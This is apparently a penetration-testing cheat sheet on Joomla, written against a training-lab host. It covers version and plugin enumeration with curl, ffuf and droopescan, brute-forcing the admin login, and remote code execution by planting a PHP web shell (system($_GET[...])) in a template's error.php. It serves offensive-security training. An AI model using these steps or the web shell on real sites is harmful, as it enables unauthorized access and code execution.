Joomla

General Information

Joomla is commonly used with PHP and MySQL (similar to WordPress) and can be identified by its browser's favicon (Figure 1).

Figure 1: Joomla's favicon.

User	Description
Super Users/Administrator	Access to administrative features (adding, deleting users and posts, editing source code)
Administrator	Admin functions except global options
Manager	Content creation and backend system info

Enumeration

Manual

CMS

curl -s http://dev.inlanefreight.local/ | grep Joomla

Version

curl -s http://dev.inlanefreight.local/README.txt | head -n 5

In certain installs, we may be able to discover the version from JavaScript files:

js

curl -s http://dev.inlanefreight.local/media/system/js

joomla.xml

curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -

cache.xml (plugins)

curl -s http://dev.inlanefreight.local/plugins/system/cache/cache.xml | xmllint --format -

language.xml

curl -s http://dev.inlanefreight.local/language/en-GB/en-GB.xml | xmllint --format -

Fuzzing can be used for further directory, plugin, and theme enumeration (joomla.txt).

# Fuzzing for plugins
$ ffuf -u http://dev.inlanefreight.local/FUZZ -w usr/share/wordlists/joomla/joomla.txt -c -ac

Metasploit's joomla_plugins

Automated

droopescan

droopescan is a plugin-based scanner designed mostly for SilverStripe, WordPress, and Drupal, but it has some functionality for Joomla and Moodle as well.

droopescan scan joomla --url http://dev.inlanefreight.local/

Attacks

joomla-bruteforce

Joomla 3.2 stable release bought 2FA as part of the core install which adds another challenge to brute-forcing an account. But it isn't enabled by default.

The default administrator account is admin and the password is set at install time. We can use joomla-bruteforce to brute force for credentials:

sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

joombrute | Metasploit's joomla_bruteforce_login | nmap's http-joomla-brute | nmap's http-form-brute

RCE

Web Shell

1. Log in with the obtained credentials at /administrator.

2. Navigate to Templates and choose one.

3. Click on a page, such as error.php, to pull up the source code.

4. Add a PHP webshell, such as system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);.

5. Click Save & Close.

6. Connect to the webshell for code execution.

curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id

Known Vulnerabilities

There is a live vunlerable extensions list.